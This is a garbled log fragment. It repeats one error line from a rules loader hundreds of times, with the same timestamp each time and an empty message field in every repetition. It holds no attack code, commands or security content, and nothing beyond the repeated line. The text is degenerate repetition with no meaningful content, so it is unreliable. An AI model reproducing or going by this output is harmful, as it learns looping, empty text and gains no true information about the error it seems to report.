source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 